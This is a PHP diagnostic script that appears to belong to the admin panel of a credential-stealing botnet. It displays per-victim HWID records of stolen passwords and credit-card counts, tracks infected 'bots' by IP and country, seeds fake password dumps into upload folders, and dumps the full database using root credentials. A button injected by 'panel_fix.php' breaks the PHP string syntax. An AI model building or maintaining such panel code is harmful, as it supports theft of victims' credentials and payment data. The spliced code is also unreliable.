<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);

// Include database config
require_once("config.php");

echo "<h2>Database Check</h2>";

// Display connection info
echo "<p>Using database host: {$db_host}</p>";
echo "<p>Using database user: {$db_user}</p>";
echo "<p>Using database name: {$db_name}</p>";

// Check if we have the correct connection
if ($conn->connect_error) {
    die("<p style='color:red'>Connection failed: " . $conn->connect_error . "</p>");
} else {
    echo "<p style='color:green'>Database connection successful!</p>";
}

// Test connection with a simple query
$test_query = "SHOW TABLES";
$test_result = $conn->query($test_query);
if ($test_result) {
    echo "<p>Tables in database:</p>";
    echo "<ul>";
    while ($row = $test_result->fetch_row()) {
        echo "<li>" . htmlspecialchars($row[0]) . "</li>";
    }
    echo "</ul>";
} else {
    echo "<p style='color:red'>Error showing tables: " . $conn->error . "</p>";
}

// Query to get password counts
$query = "SELECT hwid, Passwords, pwd_count FROM logs WHERE hwid = 'LBBFEBFBFF000B06A2admin'";
$result = $conn->query($query);

if ($result && $result->num_rows > 0) {
    echo "<table border='1'>";
    echo "<tr><th>HWID</th><th>Passwords</th><th>pwd_count</th></tr>";
    
    while ($row = $result->fetch_assoc()) {
        echo "<tr>";
        echo "<td>" . htmlspecialchars($row['hwid']) . "</td>";
        echo "<td>" . htmlspecialchars($row['Passwords']) . "</td>";
        echo "<td>" . htmlspecialchars($row['pwd_count']) . "</td>";
        echo "</tr>";
    }
    
    echo "</table>";
} else {
    echo "<p>No results found or query error.</p>";
    if ($conn->error) {
        echo "<p>Error: " . $conn->error . "</p>";
    }
}

// Get all HWIDs
echo "<h2>All HWIDs</h2>";
$query = "SELECT hwid, Passwords, pwd_count FROM logs";
$result = $conn->query($query);

if ($result && $result->num_rows > 0) {
    echo "<table border='1'>";
    echo "<tr><th>HWID</th><th>Passwords</th><th>pwd_count</th></tr>";
    
    while ($row = $result->fetch_assoc()) {
        echo "<tr>";
        echo "<td>" . htmlspecialchars($row['hwid']) . "</td>";
        echo "<td>" . htmlspecialchars($row['Passwords']) . "</td>";
        echo "<td>" . htmlspecialchars($row['pwd_count']) . "</td>";
        echo "</tr>";
    }
    
    echo "</table>";
} else {
    echo "<p>No results found or query error for all HWIDs.</p>";
    if ($conn->error) {
        echo "<p>Error: " . $conn->error . "</p>";
    }
}

// Add a tool to create a test entry if no entries exist
echo "<h2>Create Test Entry</h2>";
echo "<form method='post'>";
echo "<input type='hidden' name='action' value='create_test'>";
echo "<button type='submit'>Create Test Entry</button>";
echo "</form>
<!-- Added by panel_fix.php to force refresh stats -->
<button type="button" onclick="window.location.href='logs.php?hwid='+document.querySelector('input[name=&quot;hwid&quot;]').value+'&force=1'" style="margin-left: 10px; background-color: #4CAF50; color: white; border: none; padding: 5px 10px; cursor: pointer;">Update Bot Statistics</button>";

if (isset($_POST['action']) && $_POST['action'] === 'create_test') {
    $testHwid = 'TEST' . time();
    
    // Create upload directory and password file
    $uploadDir = dirname(__DIR__) . '/upload/' . $testHwid;
    if (!is_dir($uploadDir)) {
        mkdir($uploadDir, 0777, true);
    }
    
    $passwordContent = "URL: https://example.com\nUsername: testuser\nPassword: testpass123\n";
    $passwordContent .= "URL: https://bank.com\nEmail: user@example.com\nPassword: bankpass456\n";
    file_put_contents($uploadDir . '/passwords.txt', $passwordContent);
    
    // Create bot entry
    $botQuery = "INSERT INTO bot (HWID, Date_Time, IP, Country) VALUES (?, NOW(), '127.0.0.1', 'US')";
    $stmt = $conn->prepare($botQuery);
    if ($stmt) {
        $stmt->bind_param("s", $testHwid);
        if ($stmt->execute()) {
            echo "<p style='color:green'>Created bot entry for HWID: " . htmlspecialchars($testHwid) . "</p>";
        } else {
            echo "<p style='color:red'>Failed to create bot entry: " . $stmt->error . "</p>";
        }
        $stmt->close();
    }
    
    // Create logs entry
    $logsQuery = "INSERT INTO logs (hwid, username, IP, Country, Passwords, CreditCards, last_updated) 
                 VALUES (?, 'testuser', '127.0.0.1', 'US', 2, 0, NOW())";
    $stmt = $conn->prepare($logsQuery);
    if ($stmt) {
        $stmt->bind_param("s", $testHwid);
        if ($stmt->execute()) {
            echo "<p style='color:green'>Created logs entry for HWID: " . htmlspecialchars($testHwid) . "</p>";
            echo "<p>Refresh the page to see the new entry</p>";
        } else {
            echo "<p style='color:red'>Failed to create logs entry: " . $stmt->error . "</p>";
        }
        $stmt->close();
    }
}

$condb = mysqli_connect("localhost", "root", "", "cybervax");

if (!$condb) {
    die("Connection failed: " . mysqli_connect_error());
}

// Get table structure
$result = mysqli_query($condb, "DESCRIBE logs");
echo "Table Structure:\n";
while ($row = mysqli_fetch_assoc($result)) {
    print_r($row);
}

// Get all records
$result = mysqli_query($condb, "SELECT * FROM logs");
echo "\nRecords:\n";
while ($row = mysqli_fetch_assoc($result)) {
    print_r($row);
}

mysqli_close($condb);
?> 